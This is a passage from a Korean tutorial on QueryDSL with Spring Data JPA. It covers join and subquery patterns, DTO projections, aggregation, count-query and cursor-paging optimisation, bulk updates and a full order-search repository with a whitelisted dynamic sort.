// ⚠️ 컬렉션 fetchJoin + 페이징은 금지 (JPA 심화 08 참고)

// ③ on 절 — 조인 대상 필터링 (left join 에서 의미가 크다)
queryFactory.select(order, coupon)
    .from(order)
    .leftJoin(coupon).on(
        coupon.orderId.eq(order.id),
        coupon.status.eq(CouponStatus.USED)   // 이 조건에 맞는 쿠폰만 붙인다
    )
    .fetch();
// inner join 이면 on 과 where 가 결과적으로 같지만,
// left join 에서는 완전히 다르다 (on 은 붙일지 말지, where 는 행을 남길지)

// ④ 연관관계 없는 조인 (theta join)
queryFactory.select(order, product)
    .from(order, product)                     // 카티션 곱 + where
    .where(order.productName.eq(product.name))
    .fetch();
// left join 이 필요하면 on 을 쓴다
queryFactory.select(order, product)
    .from(order)
    .leftJoin(product).on(order.productName.eq(product.name))
    .fetch();

// ⑤ 컬렉션 조인
queryFactory.selectFrom(order)
    .join(order.items, orderItem)             // 일대다
    .where(orderItem.quantity.gt(5))
    .distinct()                                // 중복 제거
    .fetch();

on 과 where 의 차이 — left join 에서

위치결과
on 절 조건조건에 안 맞으면 연관만 null. 왼쪽 행은 남는다
where 절 조건조건에 안 맞으면 행 자체가 사라진다 (left join 의미가 없어짐)
// 주문 전체 + 사용된 쿠폰(있으면)
.leftJoin(coupon).on(coupon.orderId.eq(order.id), coupon.used.isTrue())
// → 쿠폰 없는 주문도 나온다 (coupon 은 null)

// 쿠폰을 쓴 주문만
.leftJoin(coupon).on(coupon.orderId.eq(order.id))
.where(coupon.used.isTrue())
// → 쿠폰 없는 주문은 사라진다 (사실상 inner join)

조인 성능 감각

  • fetch join 은 ToOne 위주로 — 컬렉션은 하나만, 페이징과 함께 쓰지 않기
  • 조인 순서와 인덱스 — 결국 SQL 이므로 실행 계획을 봐야 합니다
  • distinct 는 애플리케이션 레벨에서도 동작합니다(Hibernate 6+ 는 엔티티 중복을 자동 제거)
  • 조인 대신 두 번 조회가 빠른 경우도 많습니다 — 특히 대용량 일대다
  • 표시용 데이터는 DTO 프로젝션으로 (엔티티를 안 만든다)
QDSL 05

서브쿼리

JPAExpressions 로 작성합니다. 다만 JPQL 의 제약을 그대로 물려받아 from 절 서브쿼리(인라인 뷰)는 불가능합니다 — 그 우회 방법까지 함께 봅니다.

import static com.querydsl.jpa.JPAExpressions.select;
import static com.querydsl.jpa.JPAExpressions.selectFrom;

// ① where 절 서브쿼리 — 최고 금액 주문
QOrder sub = new QOrder("sub");             // ★ 별칭이 겹치면 안 된다

queryFactory.selectFrom(order)
    .where(order.totalAmount.eq(
        select(sub.totalAmount.max()).from(sub)
    ))
    .fetch();

// ② in 서브쿼리 — VIP 회원의 주문
QMember subM = new QMember("subM");

queryFactory.selectFrom(order)
    .where(order.member.id.in(
        select(subM.id).from(subM).where(subM.grade.eq(Grade.VIP))
    ))
    .fetch();

// ③ exists — in 보다 빠른 경우가 많다
queryFactory.selectFrom(order)
    .where(selectFrom(orderItem)
        .where(orderItem.order.eq(order), orderItem.quantity.gt(10))
        .exists())
    .fetch();

// ④ select 절 서브쿼리 — 회원별 주문 수
queryFactory
    .select(member.name,
            select(sub.count()).from(sub).where(sub.member.eq(member)))
    .from(member)
    .fetch();

// ⑤ 상관 서브쿼리 + 최신 1건 (자주 쓰는 패턴)
QOrder o2 = new QOrder("o2");
queryFactory.selectFrom(order)
    .where(order.createdAt.eq(
        select(o2.createdAt.max()).from(o2).where(o2.member.eq(order.member))
    ))
    .fetch();

from 절 서브쿼리가 안 될 때

  1. 조인으로 바꿔 본다 — 대부분의 인라인 뷰는 조인으로 표현됩니다
  2. 쿼리를 두 번 나눈다 — 서브쿼리 결과(id 목록)를 먼저 받고 그것으로 본 쿼리
  3. 네이티브 쿼리 — 통계·리포트처럼 복잡하면 이쪽이 정직합니다
  4. DB 뷰를 만든다 — 재사용되는 복잡한 집계라면 좋은 선택
Hibernate 6 부터는 일부 from 절 서브쿼리를 지원합니다. 다만 QueryDSL 5.x 의 API 가 이를 온전히 노출하지 않으므로, 복잡한 통계는 jOOQ 나 네이티브 쿼리 병행이 현실적입니다.

서브쿼리 성능 감각

// ❌ 상관 서브쿼리가 행마다 실행되면 느리다
.where(order.totalAmount.gt(
    select(sub.totalAmount.avg()).from(sub).where(sub.member.eq(order.member))
))

// ✅ 조인 + 그룹핑으로 바꾸면 한 번에 계산된다
// (평균을 미리 구해 조인)

// exists vs in
// · exists : 첫 행을 찾으면 멈춘다 → 보통 더 빠르다
// · in     : 서브쿼리 결과를 전부 만든 뒤 비교 (옵티마이저가 바꿔 주기도 한다)
// 실행 계획을 보고 판단하세요
QDSL 06

프로젝션 — DTO 로 받기

조회 전용 API 에서 엔티티를 통째로 읽는 것은 낭비입니다. QueryDSL 은 필요한 컬럼만 DTO 로 받는 방법을 네 가지 제공합니다.

방식특징
Projections.constructor생성자 호출. 순서·타입이 맞아야 하고 틀리면 런타임 에러
Projections.fields필드에 직접 주입 (기본 생성자 필요). 이름이 맞아야 한다
Projections.bean세터로 주입. DTO 에 세터가 필요
@QueryProjection컴파일 타임 검증 — 가장 안전. 단 DTO 가 QueryDSL 에 의존
Tuple임시 조회용. 서비스 밖으로 내보내지 말 것
// ① @QueryProjection — 권장 (컴파일 시점에 검증된다)
public record OrderSummary(Long id, String orderNo, String memberName, Long totalAmount) {
    @QueryProjection
    public OrderSummary { }        // record 의 compact 생성자에 붙인다
}
// → QOrderSummary 가 생성된다

List<OrderSummary> result = queryFactory
    .select(new QOrderSummary(order.id, order.orderNo, member.name, order.totalAmount))
    .from(order)
    .join(order.member, member)
    .fetch();
// 필드를 하나 추가하면 컴파일 에러 → 빠뜨릴 수 없다

// ② Projections.constructor — DTO 가 QueryDSL 을 몰라도 된다
List<OrderSummary> result2 = queryFactory
    .select(Projections.constructor(OrderSummary.class,
            order.id, order.orderNo, member.name, order.totalAmount))
    .from(order).join(order.member, member)
    .fetch();

// ③ 이름이 다를 때 — as() 로 별칭
List<OrderView> result3 = queryFactory
    .select(Projections.fields(OrderView.class,
            order.id,
            order.orderNo.as("no"),                    // 필드명이 no 인 경우
            ExpressionUtils.as(
                select(sub.count()).from(sub).where(sub.member.eq(member)), "orderCount")))
    .from(order).join(order.member, member)
    .fetch();

// ④ 중첩 DTO
List<OrderDetail> details = queryFactory
    .select(Projections.constructor(OrderDetail.class,
            order.id,
            Projections.constructor(MemberDto.class, member.id, member.name)))
    .from(order).join(order.member, member)
    .fetch();

// ⑤ Tuple — 임시로 여러 값
List<Tuple> tuples = queryFactory
    .select(order.status, order.totalAmount.sum(), order.count())
    .from(order).groupBy(order.status)
    .fetch();
for (Tuple t : tuples) {
    OrderStatus status = t.get(order.status);
    Long sum = t.get(order.totalAmount.sum());
}
Tuple을 컨트롤러까지 내보내지 마세요. QueryDSL 타입이 프레젠테이션 계층까지 새어 나가고, 어떤 값이 들어 있는지 코드만 봐서는 알 수 없습니다. 리포지터리 안에서 DTO 로 변환해 반환하세요.
프로젝션 — 필요한 필드만 골라 담습니다 엔티티를 그대로 돌려줄 때 안 쓰는 컬럼까지 전부 조회되고, 연관을 따라가며 추가 쿼리가 나가기도 합니다 응답 모양이 DB 구조에 묶입니다 — 컬럼을 바꾸면 API 응답이 함께 바뀝니다 DTO 로 받을 때 select(Projections.constructor(PostDto.class, post.id, post.title, member.name)) 필요한 컬럼만 조회하고, 지연 로딩 예외도 애초에 생기지 않습니다 생성자 방식이 가장 안전합니다 — 필드 순서와 타입이 컴파일 시점에 검증됩니다 필드·프로퍼티 방식은 이름이 안 맞으면 조용히 null 이 들어옵니다 — as() 로 이름을 맞춰 주세요 record 를 DTO 로 쓰면 생성자와 equals 가 함께 만들어져 잘 어울립니다
조회 성능 개선의 첫 수단은 인덱스가 아니라 덜 가져오는 것입니다.
QDSL 07

집계 · 그룹핑 · CASE

통계 API 를 만들 때 쓰는 문법들입니다. SQL 의 집계 함수가 거의 그대로 대응되고, 표현식을 조합할 수 있습니다.

// 집계 함수
queryFactory
    .select(order.totalAmount.sum(),
            order.totalAmount.avg(),
            order.totalAmount.max(),
            order.totalAmount.min(),
            order.count(),
            order.member.countDistinct())
    .from(order)
    .fetch();

// 그룹핑 + having
List<Tuple> byStatus = queryFactory
    .select(order.status, order.count(), order.totalAmount.sum())
    .from(order)
    .where(order.createdAt.goe(from))
    .groupBy(order.status)
    .having(order.count().gt(10))
    .orderBy(order.totalAmount.sum().desc())
    .fetch();

// 날짜별 집계 — DB 함수 호출
// 포맷은 템플릿에 직접 — {1} 로 넘기면 select·group by 에 바인딩 파라미터가 따로 붙어
// PostgreSQL 이 같은 식으로 보지 않습니다 ("must appear in the GROUP BY clause")
StringTemplate dayFormat = Expressions.stringTemplate(
        "function('to_char', {0}, 'YYYY-MM-DD')", order.createdAt);

List<DailySales> daily = queryFactory
    .select(Projections.constructor(DailySales.class,
            dayFormat, order.count(), order.totalAmount.sum()))
    .from(order)
    .where(order.status.eq(PAID))
    .groupBy(dayFormat)
    .orderBy(dayFormat.desc())
    .fetch();

// CASE — 조건부 값
NumberExpression<Integer> rank = new CaseBuilder()
        .when(order.totalAmount.goe(100_000)).then(3)
        .when(order.totalAmount.goe(50_000)).then(2)
        .otherwise(1);

queryFactory.select(order.orderNo, rank.as("grade"))
    .from(order)
    .orderBy(rank.desc(), order.createdAt.desc())
    .fetch();

// 조건부 집계 (SQL 의 sum(case when ...))
queryFactory
    .select(
        new CaseBuilder().when(order.status.eq(PAID)).then(1).otherwise(0).sum(),
        new CaseBuilder().when(order.status.eq(CANCELED)).then(1).otherwise(0).sum())
    .from(order)
    .fetch();

// 상수·연산
order.totalAmount.multiply(0.1)            // 금액 * 0.1
order.totalAmount.add(order.shippingFee)
Expressions.constant("고정값")
Expressions.asNumber(1000).as("base")

// 문자열 결합 — concat 은 문자열끼리만 되므로 stringValue() 로 변환
member.name.concat("(").concat(member.id.stringValue()).concat(")")

// coalesce — null 대체
order.memo.coalesce("메모 없음")
DB 함수를 쓰려면 Expressions.stringTemplate·numberTemplate으로 function('함수명', 인자…) 형태를 씁니다. Hibernate 6 부터는 표준 함수 상당수를 방언이 알아서 변환해 주므로 to_char·date_format 같은 DB 고유 함수만 이 방식이 필요합니다.
QDSL 08

페이징 · 카운트 최적화

목록 API 의 절반은 페이징입니다. 카운트 쿼리를 어떻게 만드느냐로 응답 시간이 크게 달라집니다.

기본 페이징

public Page<OrderSummary> search(OrderCondition cond, Pageable pageable) {
    List<OrderSummary> content = queryFactory
        .select(new QOrderSummary(order.id, order.orderNo, member.name, order.totalAmount))
        .from(order)
        .join(order.member, member)
        .where(statusEq(cond.getStatus()), amountGoe(cond.getMinAmount()))
        .orderBy(order.createdAt.desc())
        .offset(pageable.getOffset())
        .limit(pageable.getPageSize())
        .fetch();

    // 카운트는 별도 쿼리 — 조인·정렬을 뺀다
    JPAQuery<Long> countQuery = queryFactory
        .select(order.count())
        .from(order)
        .join(order.member, member)      // 조건에 필요한 조인만 남긴다
        .where(statusEq(cond.getStatus()), amountGoe(cond.getMinAmount()));

    // ★ 카운트를 '필요할 때만' 실행한다
    return PageableExecutionUtils.getPage(content, pageable, countQuery::fetchOne);
}
PageableExecutionUtils는 ① 첫 페이지이고 결과가 페이지 크기보다 작거나 ② 마지막 페이지인 경우 카운트 쿼리를 아예 실행하지 않습니다. 간단하지만 효과가 큽니다.

깊은 페이지 · 커서 페이징

// ❌ OFFSET 100000 — DB 가 10만 행을 세고 버린다
.offset(100_000).limit(20)

// ✅ 커서(키셋) 페이징 — 항상 같은 속도
public List<OrderSummary> scroll(Long lastId, int size) {
    return queryFactory
        .select(new QOrderSummary(...))
        .from(order)
        .where(lastId == null ? null : order.id.lt(lastId))   // 마지막으로 본 id 이후
        .orderBy(order.id.desc())
        .limit(size)
        .fetch();
}

// ✅ 커버링 인덱스 응용 — id 만 먼저 뽑고 그 id 로 조회
List<Long> ids = queryFactory.select(order.id).from(order)
        .where(cond).orderBy(order.createdAt.desc())
        .offset(offset).limit(size).fetch();

if (ids.isEmpty()) return Page.empty(pageable);

List<OrderSummary> content = queryFactory
        .select(new QOrderSummary(...))
        .from(order).join(order.member, member)
        .where(order.id.in(ids))
        .orderBy(order.createdAt.desc())          // ★ 정렬을 다시 지정해야 한다
        .fetch();
정렬 기준에 유일성이 없으면 페이지가 흔들립니다. createdAt만으로 정렬하면 같은 시각 데이터의 순서가 매번 달라져 어떤 행은 두 번 나오고 어떤 행은 안 나옵니다. 정렬 마지막에 항상 id 를 추가하세요 — orderBy(createdAt.desc(), id.desc()).
GET /posts?page=0&size=20 — 100만 행에서 440 ms 가 어디로 갔나 0 100 200 300 400 500 ms 목록 쿼리 18 ms 개수 쿼리 410 ms — 정렬·조인까지 붙은 count 직렬화 · 응답 12 ms 고친 뒤 개수 쿼리 35 ms — 정렬과 결과용 조인을 뗌 결과 < size 일 때 0 ms — 첫 페이지가 덜 차면 그게 전체, 개수 쿼리 생략 뒤쪽 페이지가 느려지면 offset 대신 커서(where id < ?) — offset 은 건너뛸 행을 실제로 읽고 버립니다 개수 쿼리는 따로 넘겨 주세요 — 자동 생성에 맡기면 정렬·조인이 그대로 붙습니다 정렬 기준이 유일하지 않으면 페이지 경계에서 같은 행이 두 번 나옵니다 — id 를 함께
페이징이 느리다면 대개 개수 쿼리가 범인입니다.
QDSL 09

벌크 연산 · 수정 · 삭제

한 건씩 더티 체킹으로 고치면 수만 건에서는 답이 없습니다. QueryDSL 로 UPDATE·DELETE 를 한 방에 날릴 수 있지만, 영속성 컨텍스트를 우회한다는 점을 반드시 기억해야 합니다.

@Transactional
public long expireOldOrders(LocalDateTime before) {
    em.flush();          // 보류 중인 변경을 먼저 내보낸다 (벌크 뒤에 플러시되면 결과를 덮어씀)
    long updated = queryFactory
        .update(order)
        .set(order.status, OrderStatus.EXPIRED)
        .set(order.updatedAt, LocalDateTime.now())
        .set(order.version, order.version.add(1))     // ★ 버전을 직접 올려야 한다
        .where(order.status.eq(OrderStatus.NEW),
               order.createdAt.lt(before))
        .execute();

    em.clear();          // ★ 1차 캐시를 비운다 — 안 하면 옛 값을 보게 된다
    return updated;
}

// 계산식으로 수정
queryFactory.update(product)
    .set(product.stock, product.stock.subtract(1))
    .where(product.id.eq(id), product.stock.gt(0))
    .execute();          // 반환값이 0이면 재고 부족 — 원자적 차감

// 조건부 수정 (CASE)
queryFactory.update(member)
    .set(member.grade, new CaseBuilder()
        .when(member.totalPurchase.goe(1_000_000)).then(Grade.VIP)
        .when(member.totalPurchase.goe(100_000)).then(Grade.GOLD)
        .otherwise(Grade.NORMAL))
    .execute();

// 삭제
queryFactory.delete(orderLog)
    .where(orderLog.createdAt.lt(LocalDateTime.now().minusYears(1)))
    .execute();

벌크 연산의 성질 — 반드시 알아야 할 것

  • 영속성 컨텍스트를 거치지 않습니다 → 1차 캐시가 옛 값을 들고 있음
  • @PreUpdate·@LastModifiedDate 가 동작하지 않습니다 → 직접 set
  • @Version 이 자동으로 오르지 않습니다 → 직접 add(1)
  • 2차 캐시도 갱신되지 않습니다
  • cascade 가 동작하지 않습니다 → 자식은 따로 처리
  • 그 대신 압도적으로 빠릅니다 — 10만 건이 쿼리 한 방

INSERT 는 안 된다 — 대안

// JPA 표준에 insert 벌크가 없어 QueryDSL JPA 도 지원하지 않는다

// 대안 ① JdbcTemplate 배치
jdbcTemplate.batchUpdate(
    "insert into order_stat(day, cnt, amount) values (?,?,?)",
    rows, 1000,
    (ps, r) -> { ps.setString(1, r.day()); ps.setInt(2, r.cnt()); ps.setLong(3, r.amount()); });

// 대안 ② 네이티브 insert-select (집계 결과를 그대로 적재)
em.createNativeQuery("""
    insert into order_stat(day, cnt, amount)
    select date(created_at), count(*), sum(total_amount)
      from orders where created_at >= :from group by date(created_at)
    """).setParameter("from", from).executeUpdate();

// 대안 ③ QueryDSL SQL 모듈(querydsl-sql) — JPA 가 아닌 SQL 레벨 API
// 스키마에서 코드를 생성해 insert·merge 까지 지원한다 (jOOQ 와 비슷한 위치)
QDSL 10

Spring Data 와 통합

기본 CRUD 는 Spring Data 에 맡기고, 복잡한 조회만 QueryDSL로 붙이는 것이 표준 구성입니다. 커스텀 리포지터리 패턴 하나면 됩니다.

커스텀 리포지터리 — 쓰는 쪽은 하나만 주입받는다 OrderService OrderRepository extends JpaRepository, OrderRepositoryCustom Spring Data 구현 (CRUD) OrderRepositoryImpl (QueryDSL)
이름 규칙만 지키면(인터페이스명 + Impl) 스프링이 두 구현을 하나로 합쳐 줍니다.
// ① 커스텀 인터페이스
public interface OrderRepositoryCustom {
    Page<OrderSummary> search(OrderCondition cond, Pageable pageable);
    List<DailySales> dailySales(LocalDate from, LocalDate to);
}

// ② 구현 — 이름은 반드시 '인터페이스명 + Impl'
@Repository
@RequiredArgsConstructor
public class OrderRepositoryImpl implements OrderRepositoryCustom {

    private final JPAQueryFactory queryFactory;

    @Override
    public Page<OrderSummary> search(OrderCondition cond, Pageable pageable) { ... }

    @Override
    public List<DailySales> dailySales(LocalDate from, LocalDate to) { ... }
}

// ③ 합치기
public interface OrderRepository extends JpaRepository<Order, Long>, OrderRepositoryCustom {
    Optional<Order> findByOrderNo(String orderNo);      // 기본 쿼리 메서드도 그대로
}

// ④ 서비스는 하나만 주입받는다
@Service
@RequiredArgsConstructor
public class OrderService {
    private final OrderRepository orderRepository;

    public Page<OrderSummary> search(OrderCondition cond, Pageable pageable) {
        return orderRepository.search(cond, pageable);   // QueryDSL 구현이 호출된다
    }
}

공통 기능을 지원 클래스로

// 페이징 헬퍼를 매번 쓰기 번거롭다면 공통 추상 클래스를 만든다
public abstract class QuerydslSupport {

    protected final JPAQueryFactory queryFactory;

    protected QuerydslSupport(JPAQueryFactory queryFactory) {
        this.queryFactory = queryFactory;
    }

    protected <T> Page<T> applyPagination(
            Pageable pageable,
            Function<JPAQueryFactory, JPAQuery<T>> contentQuery,
            Function<JPAQueryFactory, JPAQuery<Long>> countQuery) {

        JPAQuery<T> query = contentQuery.apply(queryFactory);
        List<T> content = query
                .offset(pageable.getOffset())
                .limit(pageable.getPageSize())
                .fetch();

        return PageableExecutionUtils.getPage(content, pageable,
                () -> countQuery.apply(queryFactory).fetchOne());
    }
}

QuerydslPredicateExecutor — 간단한 경우

public interface OrderRepository
        extends JpaRepository<Order, Long>, QuerydslPredicateExecutor<Order> { }

// Predicate 를 그대로 넘겨 조회할 수 있다
Predicate predicate = order.status.eq(PAID).and(order.totalAmount.goe(10_000));
Page<Order> page = orderRepository.findAll(predicate, pageable);

// 장점 — 별도 구현 클래스가 필요 없다
// 한계
// · 엔티티만 반환 (DTO 프로젝션 불가)
// · fetch join 을 지정할 수 없다 → N+1 위험
// · 조인 조건을 세밀하게 못 준다
// 결론: 간단한 필터링에만. 실무 검색 API 는 커스텀 리포지터리가 낫다
QDSL 11

재사용 · 표현식 조합

QueryDSL 의 진짜 힘은 조건을 값처럼 다룰 수 있다는 데 있습니다. 메서드로 뽑아 두면 여러 쿼리에서 재사용되고, 조합도 됩니다.

// 조건을 모아 두는 클래스 — 도메인 언어가 된다
public final class OrderPredicates {

    private OrderPredicates() {}

    public static BooleanExpression isActive() {
        return order.deleted.isFalse().and(order.status.ne(OrderStatus.CANCELED));
    }

    public static BooleanExpression paidBetween(LocalDateTime from, LocalDateTime to) {
        if (from == null && to == null) return null;
        BooleanExpression base = order.status.eq(OrderStatus.PAID);
        if (from != null) base = base.and(order.paidAt.goe(from));
        if (to != null) base = base.and(order.paidAt.loe(to));
        return base;
    }

    public static BooleanExpression bigOrder() {
        return order.totalAmount.goe(100_000);
    }

    public static BooleanExpression ownedBy(Long memberId) {
        return memberId == null ? null : order.member.id.eq(memberId);
    }
}

// 쓰는 쪽 — 읽으면 뜻이 그대로 보인다
queryFactory.selectFrom(order)
    .where(isActive(), paidBetween(from, to), bigOrder())
    .fetch();

// 조합도 자유롭다
BooleanExpression cond = isActive().and(bigOrder().or(ownedBy(vipId)));

// 표현식도 재사용한다
public static NumberExpression<Long> finalAmount() {
    return order.totalAmount.subtract(order.discountAmount).add(order.shippingFee);
}
queryFactory.select(order.orderNo, finalAmount().as("finalAmount"))
    .from(order)
    .where(finalAmount().goe(50_000))          // select 와 where 에 같은 식을 쓴다
    .orderBy(finalAmount().desc())
    .fetch();

Expressions — 없는 것을 만들 때

// 상수
Expressions.constant("고정")
Expressions.asNumber(0).as("zero")

// DB 함수 호출
StringTemplate yearMonth = Expressions.stringTemplate(
        "function('to_char', {0}, {1})", order.createdAt, "YYYY-MM");

NumberTemplate<Double> distance = Expressions.numberTemplate(Double.class,
        "function('st_distance', {0}, {1})", shop.location, point);

// SQL 조각을 그대로 (최후 수단)
BooleanTemplate raw = Expressions.booleanTemplate(
        "JSON_EXTRACT({0}, '$.type') = {1}", product.options, "premium");

// 정렬 — null 순서 지정
.orderBy(order.paidAt.desc().nullsLast())

// 동적 정렬 (Pageable.getSort() 를 QueryDSL 로)
private OrderSpecifier<?>[] toOrderSpecifiers(Sort sort) {
    return sort.stream().map(o -> {
        com.querydsl.core.types.Order dir =
            o.isAscending() ? ASC : DESC;
        // 별칭은 Q타입 것을 그대로 — "order" 는 예약어라 실제 별칭은 order1 입니다
        PathBuilder<Order> path = new PathBuilder<>(order.getType(), order.getMetadata());
        return new OrderSpecifier(dir, path.get(o.getProperty()));
    }).toArray(OrderSpecifier[]::new);
}
동적 정렬에 사용자 입력을 그대로 넣지 마세요. PathBuilder.get(문자열)은 타입 검증을 우회하므로, 허용할 정렬 컬럼을 화이트리스트로 제한해야 합니다.

커스텀 함수 등록 (Hibernate)

// DB 고유 함수를 방언에 등록해 두면 깔끔하게 쓸 수 있다
public class CustomDialectContributor implements FunctionContributor {
    @Override
    public void contributeFunctions(FunctionContributions functions) {
        functions.getFunctionRegistry().registerPattern(
            "group_concat", "group_concat(?1)",
            functions.getTypeConfiguration().getBasicTypeRegistry()
                     .resolve(StandardBasicTypes.STRING));
    }
}
// META-INF/services/org.hibernate.boot.model.FunctionContributor 에 등록

// 사용
Expressions.stringTemplate("function('group_concat', {0})", orderItem.productName)
QDSL 12

성능 — 무엇을 조심하나

QueryDSL 은 결국 JPQL 을 만드는 도구입니다. 느린 이유는 QueryDSL 이 아니라 만들어진 SQL에 있습니다.

문제해결
목록 조회에서 N+1fetchJoin() · default_batch_fetch_size · DTO 프로젝션
카운트 쿼리가 느리다조인·정렬 제거 · PageableExecutionUtils · 근사 카운트
깊은 페이지가 느리다커서 페이징 · id 선조회 후 상세 조회
in 절에 값이 수천 개임시 테이블·조인으로 대체 · 청크로 나누기
인덱스를 안 탄다함수를 컬럼에 씌우지 않기 (to_char(created_at) → 범위 조건으로)
엔티티를 다 읽는다필요한 컬럼만 프로젝션 (특히 큰 텍스트·BLOB 컬럼)
같은 쿼리가 반복된다애플리케이션 캐시 (Redis·Caffeine)

인덱스를 타게 쓰기

// ❌ 컬럼에 함수를 씌우면 인덱스를 못 쓴다
Expressions.stringTemplate("function('to_char', {0}, 'YYYY-MM-DD')", order.createdAt)
        .eq("2026-08-19")

// ✅ 범위 조건으로 바꾼다
LocalDate day = LocalDate.of(2026, 8, 19);
order.createdAt.goe(day.atStartOfDay())
     .and(order.createdAt.lt(day.plusDays(1).atStartOfDay()))

// ❌ 앞에 와일드카드가 붙은 like 는 인덱스를 못 탄다
member.name.contains("현우")        // like '%현우%'

// ✅ 전방 일치로 바꾸거나 전문 검색을 쓴다
member.name.startsWith("김")        // like '김%'  — 인덱스 사용 가능

// ❌ or 조건이 많으면 인덱스 선택이 어려워진다
// ✅ union 으로 나누거나 조건을 재설계

exists 로 바꾸기 · 카운트 최적화

// ❌ 존재 여부를 확인하려고 전부 센다
boolean has = queryFactory.select(order.count()).from(order)
        .where(cond).fetchOne() > 0;

// ✅ 첫 행만 찾으면 된다
boolean has = queryFactory.selectOne().from(order)
        .where(cond).fetchFirst() != null;

// 대용량 테이블의 전체 카운트는 근사치로 충분한 경우가 많다
// PostgreSQL: select reltuples from pg_class where relname = 'orders';
// 또는 "1000+ 건" 처럼 상한만 표시하는 UX

// 카운트를 아예 안 하는 무한 스크롤 UI 를 검토하세요 —
// 사용자는 대부분 전체 건수를 필요로 하지 않습니다
진단 순서 — ① 쿼리 로그로 몇 개가 나가는지 확인 → ② 느린 쿼리를 DB 에서 EXPLAIN → ③ 인덱스·조인 순서 조정 → ④ 그래도 안 되면 쿼리 구조 자체를 바꿉니다(프로젝션·2단계 조회·집계 테이블).
느려지는 형태는 세 가지로 정리됩니다 ① N+1 목록 1번 + 연관 N번 100건이면 101번 나갑니다 → fetchJoin() 또는 DTO 프로젝션 ② 필요 없는 컬럼 엔티티 전체를 가져오면 본문·이미지까지 다 읽습니다 → Projections 로 필요한 것만 ③ 카운트 쿼리 매 페이지마다 전체 세기 목록보다 더 비쌉니다 → 조건부 실행 · 커서 페이징 확인하는 법 SQL 로그를 켜고 한 요청에 쿼리가 몇 번 나가는지 셉니다 p6spy 로 실행 시간까지 함께 보면 원인이 바로 보입니다 테스트에서 쿼리 수를 검증해 두면 회귀를 막습니다 페치 조인의 제약 컬렉션을 페치 조인하면서 페이징하면 메모리에서 자릅니다 경고 로그가 뜨고 데이터가 많으면 그대로 장애가 됩니다 → ID 만 페이징한 뒤 두 번째 쿼리로 채우세요
"쿼리가 몇 번 나가는가"를 세는 습관 하나가 대부분의 성능 문제를 막습니다.
게시글 100건 + 작성자 — 요청 한 번에 나가는 쿼리 수 0 30 60 90 120 번 지연 로딩 그대로 101 — 1 + N batch_fetch_size=100 2 — 작성자를 IN 으로 한 번에 fetchJoin() 1 DTO 프로젝션 1 — 필요한 컬럼만 개발 DB 처럼 데이터가 적으면 101 도 빠릅니다 — 시간이 아니라 개수를 세야 보입니다 테스트에서 쿼리 수를 단언해 두면(Hibernate Statistics) 회귀를 막습니다
시간보다 쿼리 개수를 먼저 세세요 — 101 과 1 의 차이는 데이터가 쌓여야 시간으로 드러납니다.
QDSL 13

실전 ① — 검색 API 전체 구현

지금까지 배운 것을 하나로 합칩니다. 조건 조합 · 조인 · 프로젝션 · 페이징 · 정렬이 모두 들어간 실무 코드입니다.

// ── 요청 조건 ───────────────────────────────────────────
public record OrderSearchCondition(
        OrderStatus status,
        Long minAmount,
        Long maxAmount,
        String keyword,             // 주문번호 또는 회원명
        LocalDate from,
        LocalDate to,
        Boolean onlyVip
) {}

// ── 응답 DTO ────────────────────────────────────────────
public record OrderSummary(
        Long id, String orderNo, String memberName, Grade memberGrade,
        Long totalAmount, OrderStatus status, LocalDateTime createdAt, Long itemCount) {
    @QueryProjection public OrderSummary {}
}

// ── 구현 ────────────────────────────────────────────────
@Repository
@RequiredArgsConstructor
public class OrderRepositoryImpl implements OrderRepositoryCustom {

    private final JPAQueryFactory queryFactory;

    @Override
    public Page<OrderSummary> search(OrderSearchCondition cond, Pageable pageable) {

        List<OrderSummary> content = queryFactory
            .select(new QOrderSummary(
                    order.id, order.orderNo, member.name, member.grade,
                    order.totalAmount, order.status, order.createdAt,
                    JPAExpressions.select(orderItem.count())
                            .from(orderItem).where(orderItem.order.eq(order))))
            .from(order)
            .join(order.member, member)
            .where(
                order.deleted.isFalse(),                 // 항상 붙는 조건
                statusEq(cond.status()),
                amountBetween(cond.minAmount(), cond.maxAmount()),
                keywordContains(cond.keyword()),
                createdBetween(cond.from(), cond.to()),
                vipOnly(cond.onlyVip())
            )
            .orderBy(toOrderSpecifiers(pageable.getSort()))
            .offset(pageable.getOffset())
            .limit(pageable.getPageSize())
            .fetch();

        JPAQuery<Long> countQuery = queryFactory
            .select(order.count())
            .from(order)
            .join(order.member, member)                  // 조건에 필요한 조인만
            .where(
                order.deleted.isFalse(),
                statusEq(cond.status()),
                amountBetween(cond.minAmount(), cond.maxAmount()),
                keywordContains(cond.keyword()),
                createdBetween(cond.from(), cond.to()),
                vipOnly(cond.onlyVip())
            );

        return PageableExecutionUtils.getPage(content, pageable, countQuery::fetchOne);
    }

    // ── 조건 메서드 (재사용 가능) ──
    private BooleanExpression statusEq(OrderStatus status) {
        return status == null ? null : order.status.eq(status);
    }

    private BooleanExpression amountBetween(Long min, Long max) {
        if (min == null && max == null) return null;
        if (min == null) return order.totalAmount.loe(max);
        if (max == null) return order.totalAmount.goe(min);
        return order.totalAmount.between(min, max);
    }

    private BooleanExpression keywordContains(String keyword) {
        if (!StringUtils.hasText(keyword)) return null;
        return order.orderNo.contains(keyword)
                .or(member.name.contains(keyword));
    }

    private BooleanExpression createdBetween(LocalDate from, LocalDate to) {
        if (from == null && to == null) return null;
        LocalDateTime start = from == null ? null : from.atStartOfDay();
        LocalDateTime end = to == null ? null : to.plusDays(1).atStartOfDay();
        if (start == null) return order.createdAt.lt(end);
        if (end == null) return order.createdAt.goe(start);
        return order.createdAt.goe(start).and(order.createdAt.lt(end));
    }

    private BooleanExpression vipOnly(Boolean onlyVip) {
        return Boolean.TRUE.equals(onlyVip) ? member.grade.eq(Grade.VIP) : null;
    }

    // ── 정렬 화이트리스트 ──
    private static final Map<String, ComparableExpressionBase<?>> SORTABLE = Map.of(
            "createdAt", order.createdAt,
            "totalAmount", order.totalAmount,
            "orderNo", order.orderNo);

    private OrderSpecifier<?>[] toOrderSpecifiers(Sort sort) {
        List<OrderSpecifier<?>> specs = new ArrayList<>();
        for (Sort.Order o : sort) {
            ComparableExpressionBase<?> path = SORTABLE.get(o.getProperty());
            if (path == null) continue;                    // 허용되지 않은 컬럼은 무시
            specs.add(o.isAscending() ? path.asc() : path.desc());
        }
        specs.add(order.id.desc());                        // ★ 안정 정렬을 위한 타이브레이커
        return specs.toArray(OrderSpecifier[]::new);
    }
}
